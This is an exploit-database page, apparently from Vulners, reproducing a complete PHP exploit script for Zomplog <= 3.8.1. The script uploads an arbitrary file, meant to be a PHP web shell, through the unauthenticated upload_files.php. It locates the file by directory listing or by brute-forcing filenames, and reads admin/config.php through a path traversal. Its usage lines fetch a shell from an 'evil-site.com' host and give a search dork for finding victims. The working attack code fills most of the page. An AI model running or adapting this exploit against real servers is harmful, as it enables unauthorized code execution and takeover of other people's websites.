Lucene search
K

Zomplog <= 3.8.1 upload_files.php Arbitrary File Upload Exploit

🗓️ 03 Oct 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Zomplog <= 3.8.1 upload_files.php Arbitrary File Upload Exploit by InATeam, tested on versions 3.8.1 with security patch, 3.8, 3.7.5. Exploits vulnerability in /admin/upload_files.php allowing unauthorized file uploads

Code

                                                &lt;?php
##&nbsp;Zomplog&nbsp;&lt;=&nbsp;3.8.1&nbsp;Arbitrary&nbsp;File&nbsp;Upload&nbsp;Exploit
##&nbsp;by&nbsp;InATeam&nbsp;(http://inattack.ru/)
##&nbsp;tested&nbsp;on&nbsp;versions&nbsp;3.8.1&nbsp;with&nbsp;security&nbsp;patch,&nbsp;3.8.1,&nbsp;3.8,&nbsp;3.7.5

echo&nbsp;&quot;------------------------------------------------------------\n&quot;;
echo&nbsp;&quot;Zomplog&nbsp;&lt;=&nbsp;3.8.1&nbsp;Arbitrary&nbsp;File&nbsp;Upload&nbsp;Exploit\n&quot;;
echo&nbsp;&quot;(c)oded&nbsp;by&nbsp;Raz0r,&nbsp;InATeam&nbsp;(http://inattack.ru/)\n&quot;;
echo&nbsp;&quot;dork:&nbsp;\&quot;Powered&nbsp;by&nbsp;Zomplog\&quot;\n&quot;;
echo&nbsp;&quot;------------------------------------------------------------\n&quot;;

if&nbsp;($argc&lt;3)&nbsp;{
echo&nbsp;&quot;USAGE:\n&quot;;
echo&nbsp;&quot;~~~~~~\n&quot;;
echo&nbsp;&quot;php&nbsp;{$argv[0]}&nbsp;[url]&nbsp;[file]\n\n&quot;;
echo&nbsp;&quot;[url]&nbsp;&nbsp;-&nbsp;target&nbsp;server&nbsp;where&nbsp;Zomplog&nbsp;is&nbsp;installed\n&quot;;
echo&nbsp;&quot;[file]&nbsp;-&nbsp;file&nbsp;to&nbsp;upload&nbsp;(local&nbsp;or&nbsp;remote)\n\n&quot;;
echo&nbsp;&quot;examples:\n&quot;;
echo&nbsp;&quot;php&nbsp;{$argv[0]}&nbsp;http://site.com/&nbsp;http://evil-site.com/sh.php\n&quot;;
echo&nbsp;&quot;php&nbsp;{$argv[0]}&nbsp;http://weblog.site.com:8080/&nbsp;/root/sh.php\n&quot;;
echo&nbsp;&quot;php&nbsp;{$argv[0]}&nbsp;http://site.com/zomplog/&nbsp;sh.php\n&quot;;
die;
}
/**
*&nbsp;software&nbsp;site:&nbsp;http://zomplog.zomp.nl/
*
*&nbsp;i)&nbsp;/admin/upload_files.php&nbsp;is&nbsp;supposed&nbsp;to&nbsp;be&nbsp;run&nbsp;only&nbsp;from&nbsp;admin&nbsp;panel
*&nbsp;(it&nbsp;is&nbsp;included&nbsp;in&nbsp;/admin/editor.php,&nbsp;other&nbsp;admin&nbsp;scripts)&nbsp;but&nbsp;unathorized
*&nbsp;users&nbsp;can&nbsp;call&nbsp;it&nbsp;directly,&nbsp;because&nbsp;the&nbsp;script&nbsp;doesnt&nbsp;check&nbsp;if&nbsp;you&nbsp;are&nbsp;admin
*&nbsp;ii)&nbsp;/admin/upload_files.php&nbsp;allows&nbsp;to&nbsp;upload&nbsp;any&nbsp;files:&nbsp;it&nbsp;checks&nbsp;only
*&nbsp;MIME-types&nbsp;of&nbsp;the&nbsp;files&nbsp;but&nbsp;not&nbsp;the&nbsp;extensions.&nbsp;For&nbsp;example,&nbsp;it&nbsp;is&nbsp;possible
*&nbsp;to&nbsp;upload&nbsp;php&nbsp;script&nbsp;and&nbsp;then&nbsp;execute&nbsp;it
*&nbsp;iii)&nbsp;uploaded&nbsp;file&nbsp;will&nbsp;be&nbsp;moved&nbsp;to&nbsp;/upload&nbsp;directory&nbsp;and&nbsp;its&nbsp;name&nbsp;will
*&nbsp;have&nbsp;the&nbsp;format&nbsp;like&nbsp;this:
*&nbsp;[YearMonthDay]_[RandomNumberFrom1To999]_[OriginalFilename]
*&nbsp;In&nbsp;the&nbsp;version&nbsp;3.8.1&nbsp;additional&nbsp;prefix&nbsp;is&nbsp;used.&nbsp;By&nbsp;default&nbsp;/upload&nbsp;is&nbsp;not
*&nbsp;protected&nbsp;by&nbsp;.htaccess,&nbsp;so&nbsp;we&nbsp;can&nbsp;get&nbsp;the&nbsp;contents&nbsp;of&nbsp;it.
*&nbsp;However&nbsp;sometimes&nbsp;directory&nbsp;listing&nbsp;is&nbsp;denied&nbsp;and&nbsp;in&nbsp;this&nbsp;case&nbsp;we&nbsp;need&nbsp;to
*&nbsp;brute&nbsp;the&nbsp;filename&nbsp;(max&nbsp;number&nbsp;of&nbsp;requests&nbsp;is&nbsp;999)
*/
error_reporting(0);
set_time_limit(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,10);
$url&nbsp;=&nbsp;$argv[1];
$file&nbsp;=&nbsp;$argv[2];
$url_parts&nbsp;=&nbsp;parse_url($url);
$host&nbsp;=&nbsp;$url_parts['host'];
$path&nbsp;=&nbsp;$url_parts['path'];
if&nbsp;(isset($url_parts['port']))&nbsp;$port&nbsp;=&nbsp;$url_parts['port'];&nbsp;else&nbsp;$port&nbsp;=&nbsp;80;
$filename&nbsp;=&nbsp;basename($file);
echo&nbsp;&quot;[~]&nbsp;Getting&nbsp;$filename...&nbsp;&quot;;
$fp&nbsp;=&nbsp;file_get_contents($file);
$fp&nbsp;?&nbsp;print(&quot;OK\n&quot;)&nbsp;:&nbsp;die(&quot;failed\n&quot;);
$data&nbsp;=&nbsp;&quot;--------bndry31337\r\n&quot;;
$data.=&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;&quot;;
$data.=&nbsp;&quot;name=\&quot;file\&quot;;&nbsp;filename=\&quot;{$filename}\&quot;\r\n&quot;;
$data.=&nbsp;&quot;Content-Type:&nbsp;text/plain\r\n\r\n&quot;;
$data.=&nbsp;$fp.&quot;\r\n&quot;;
$data.=&nbsp;&quot;--------bndry31337\r\n&quot;;
$packet&nbsp;=&nbsp;&quot;POST&nbsp;{$path}admin/upload_files.php&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
$packet.=&nbsp;&quot;User-Agent:&nbsp;InAttack&nbsp;evil&nbsp;agent\r\n&quot;;
$packet.=&nbsp;&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=------bndry31337\r\n&quot;;
$packet.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet.=&nbsp;$data;
echo&nbsp;&quot;[~]&nbsp;Uploading&nbsp;{$filename}...&nbsp;&quot;;
$resp&nbsp;=&nbsp;send($packet);
$exploded&nbsp;=&nbsp;explode(&quot;\r\n&quot;,$resp);
$errno=array();
preg_match('@(\d{3})@',$exploded[0],$errno);
if&nbsp;($errno[1]!=200)&nbsp;$resp&nbsp;=&nbsp;false;
$resp&nbsp;?&nbsp;print(&quot;OK\n&quot;)&nbsp;:&nbsp;die(&quot;failed\n&quot;);
$packet&nbsp;=&nbsp;&quot;GET&nbsp;{$path}upload/&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
$packet.=&nbsp;&quot;User-Agent:&nbsp;InAttack&nbsp;evil&nbsp;agent\r\n&quot;;
$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$resp&nbsp;=&nbsp;send($packet);
if&nbsp;(strpos($resp,&nbsp;&quot;force_download.php&quot;)&nbsp;!==&nbsp;false)&nbsp;{
&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;[+]&nbsp;Directory&nbsp;listing&nbsp;of&nbsp;{$path}upload/&nbsp;is&nbsp;allowed\n&quot;;
&nbsp;&nbsp;&nbsp;$matches=array();
&nbsp;&nbsp;&nbsp;if&nbsp;(preg_match('/(temp_)*\d{8}_\d{1,3}_'.$filename.'/',$resp,$matches)){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$newname&nbsp;=&nbsp;$matches[0];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;[+]&nbsp;Filename&nbsp;is&nbsp;$newname\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;[+]&nbsp;{$url}upload/{$newname}\n&quot;;
&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;else&nbsp;die(&quot;[-]&nbsp;Exploit&nbsp;failed\n&quot;);
}
else&nbsp;{
&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;[-]&nbsp;Directory&nbsp;listing&nbsp;of&nbsp;{$path}upload/&nbsp;is&nbsp;denied\n&quot;;
&nbsp;&nbsp;&nbsp;//it&nbsp;is&nbsp;necessary&nbsp;to&nbsp;determine&nbsp;if&nbsp;prefix&nbsp;'temp_'&nbsp;is&nbsp;used&nbsp;before&nbsp;the&nbsp;filename
&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;[~]&nbsp;Getting&nbsp;Zomplog's&nbsp;version...&nbsp;&quot;;
&nbsp;&nbsp;&nbsp;$packet&nbsp;=&nbsp;&quot;GET&nbsp;{$path}upload/force_download.php?file=../admin/config.php&nbsp;HTTP/1.0\r\n&quot;;
&nbsp;&nbsp;&nbsp;//thx&nbsp;to&nbsp;Dj7xpl&nbsp;for&nbsp;this&nbsp;bug&nbsp;=)
&nbsp;&nbsp;&nbsp;$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
&nbsp;&nbsp;&nbsp;$packet.=&nbsp;&quot;User-Agent:&nbsp;InAttack&nbsp;evil&nbsp;agent\r\n&quot;;
&nbsp;&nbsp;&nbsp;$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
&nbsp;&nbsp;&nbsp;$resp&nbsp;=&nbsp;send($packet);
&nbsp;&nbsp;&nbsp;$matches=array();
&nbsp;&nbsp;&nbsp;if&nbsp;(preg_match('@\$version&nbsp;=&nbsp;&quot;([^&quot;]+)&quot;;@',$resp,$matches))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;$matches[1].&quot;\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$prefix&nbsp;=&nbsp;(&quot;3.8.1&quot;&nbsp;==&nbsp;$matches[1])&nbsp;?&nbsp;'temp_'&nbsp;:&nbsp;'';
&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;3.8.1&nbsp;with&nbsp;sec&nbsp;patch\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$prefix&nbsp;=&nbsp;&quot;temp_&quot;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;Bruting&nbsp;the&nbsp;filename...&quot;;
&nbsp;&nbsp;&nbsp;for($i=1;$i&lt;1000;$i++)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$packet&nbsp;=&nbsp;&quot;GET&nbsp;{$path}upload/&quot;.$prefix.date(&quot;Ymd&quot;).&quot;_&quot;.$i.&quot;_&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$packet.=&nbsp;urlencode($filename).&quot;&nbsp;HTTP/1.0\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$packet.=&nbsp;&quot;User-Agent:&nbsp;InAttack&nbsp;evil&nbsp;agent\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$resp&nbsp;=&nbsp;send($packet);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;status();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exploded&nbsp;=&nbsp;explode(&quot;\r\n&quot;,$resp);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$errno=array();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;preg_match('@(\d{3})@',$exploded[0],$errno);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($errno[1]==200)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$newname&nbsp;=&nbsp;$prefix.date(&quot;Ymd&quot;).&quot;_&quot;.$i.&quot;_&quot;.$filename;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;[+]&nbsp;Filename&nbsp;is&nbsp;{$newname}\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;[+]&nbsp;{$url}upload/{$newname}\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;printf(&quot;[-]&nbsp;Exploit&nbsp;failed%9s\n&quot;,'');
}
function&nbsp;send($packet)&nbsp;{
&nbsp;&nbsp;&nbsp;global&nbsp;$host,$port;
&nbsp;&nbsp;&nbsp;$ock&nbsp;=&nbsp;fsockopen(gethostbyname($host),$port);
&nbsp;&nbsp;&nbsp;if&nbsp;(!$ock)&nbsp;return&nbsp;false;
&nbsp;&nbsp;&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs($ock,&nbsp;$packet);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html='';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!feof($ock))&nbsp;$html.=fgets($ock);
&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;return&nbsp;$html;
}
function&nbsp;status()&nbsp;{
&nbsp;&nbsp;&nbsp;static&nbsp;$n;
&nbsp;&nbsp;&nbsp;$n++;
&nbsp;&nbsp;&nbsp;if&nbsp;($n&nbsp;&gt;&nbsp;3)&nbsp;$n&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;if($n==0){&nbsp;print&nbsp;&quot;\r[-]\r&quot;;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;if($n==1){&nbsp;print&nbsp;&quot;\r[\\]\r&quot;;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;if($n==2){&nbsp;print&nbsp;&quot;\r[|]\r&quot;;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;if($n==3){&nbsp;print&nbsp;&quot;\r[/]\r&quot;;&nbsp;}
}
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Oct 2007 00:00Current
7.1High risk
Vulners AI Score7.1
11